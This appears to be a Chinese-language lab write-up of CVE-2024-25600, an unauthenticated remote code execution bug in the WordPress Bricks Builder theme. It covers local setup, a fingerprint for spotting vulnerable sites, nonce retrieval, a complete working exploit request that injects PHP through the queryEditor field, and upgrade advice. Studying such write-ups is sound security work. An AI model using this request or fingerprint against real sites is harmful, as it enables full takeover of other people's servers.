.png)
CVE-2024-25600:WordPress Bricks Builder RCE
2025-01-22 发布82 浏览 · 1 点赞 · 0 收藏
0x01 简介
Bricks Builder 是一个 WordPress 页面构建插件,它提供了一个直观的拖放界面,让用户能够轻松创建自定义的网页布局,而无需编写代码。通过丰富的元素库和实时预览功能,用户可以快速设计出专业的网页,同时支持响应式设计和自定义样式,确保网站在各种设备上都能提供良好的用户体验。
0x02 漏洞概述
一个严重的远程代码执行 (RCE) 漏洞,影响 WordPress 的 Bricks Builder 插件。该漏洞的 CVSS 评分为 9.8,属于高危漏洞。漏洞的根本原因是 prepare_query_vars_from_settings()
函数中的 eval
函数执行了用户控制的输入,但由于权限检查不当,导致未经身份验证的攻击者可以在受影响的 WordPress 网站上执行任意 PHP 代码,最终控制服务器。
影响版本:Bricks Builder <= 1.9.6
漏洞详情:
- 漏洞类型:程序逻辑错误
- 危害描述:设备完全控制
0x03 环境搭建
- 下载 Bricks Builder(==注意版本==)
- 下载 WordPress
- 安装phpstudy,启动,手动创建一个数据库
- 将下载的WordPress解压到WWW目录下,访问 http://localhost/WordPress-6.4.3/ 自动跳转到安装界面,设置数据库(此数据库即为上一步创建的
my_wordpress_db
)。若网页数据库设置不成功,则需要按照以下步骤进行设置:- 复制这个文件,并改名为
wp-config.php
,并用记事本打开 - 将这些项目设置成你的信息
- 访问WordPress.org的密钥服务生成一组唯一的密钥和盐值,然后替换掉以下代码中的
put your unique phrase here
部分。 - 如果你在同一数据库中安装多个WordPress站点,可以修改表前缀以避免表名冲突。
- 复制这个文件,并改名为
- 完成设置后登录,进入后台,点击 外观- 主题 – 安装主题。
- 先安装文件名为
bricks1.x.x.zip
的这个文件(==注意版本==),请注意安装完这个不要点启用。而是点击转到主题页面,继续安装子主题。 - 回到主题安装界面,接着安装子主题,安装完子主题选择启用主题。(可以不用,装了父主题后直接启用)
- 先安装文件名为
0x04 漏洞利用
指纹特征:body
中包含/wp-content/themes/bricks/
- ==“指纹特征”==就像是一个网站的“身份证”。每个网站都有自己独特的标识,这些标识可以帮助我们识别它使用了哪些技术或插件。
- 在网络安全中,我们经常需要知道一个网站使用了哪些插件或主题,这样可以检查它是否有已知的安全漏洞。比如,如果一个插件有安全问题,我们可以通过检查网站(HTML中的
body
部分)是否使用了这个插件来判断它是否可能受到攻击。
- 在网络安全中,我们经常需要知道一个网站使用了哪些插件或主题,这样可以检查它是否有已知的安全漏洞。比如,如果一个插件有安全问题,我们可以通过检查网站(HTML中的
- 首先需要得到 nonce(==“只使用一次的数字”,它是一个在密码学和信息安全领域中广泛使用的概念,表示一个只能被使用一次的随机数或数值,主要用于确保数据传输的安全性和防止重放攻击==),直接访问网站即可(用Burpsuite抓包时代理使用如下配置,访问网站时使用WLAN的IPv4地址):
- 然后就可以构造POC,执行代码了。(注意请求体格式)
POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 295
{
"postId":"1",
"nonce":"9e6ffc5527",
"element":{
"name":"container",
"settings":{
"hasLoop":"",
"query":{
"useQueryEditor":true,
"queryEditor":"system('calc');throw new Exception();",
"objectType":""
}
}
}
}
一开始因为请求体缩进和编码的问题,导致攻击失败,一定要注意请求体格式!!!
改了格式后就能成功了。/(ㄒoㄒ)/~~
0x05 修复建议
升级到 Bricks Builder 1.9.6.1 或更高版本,以应用修复补丁。
请前往 登录/注册 即可发表您的看法…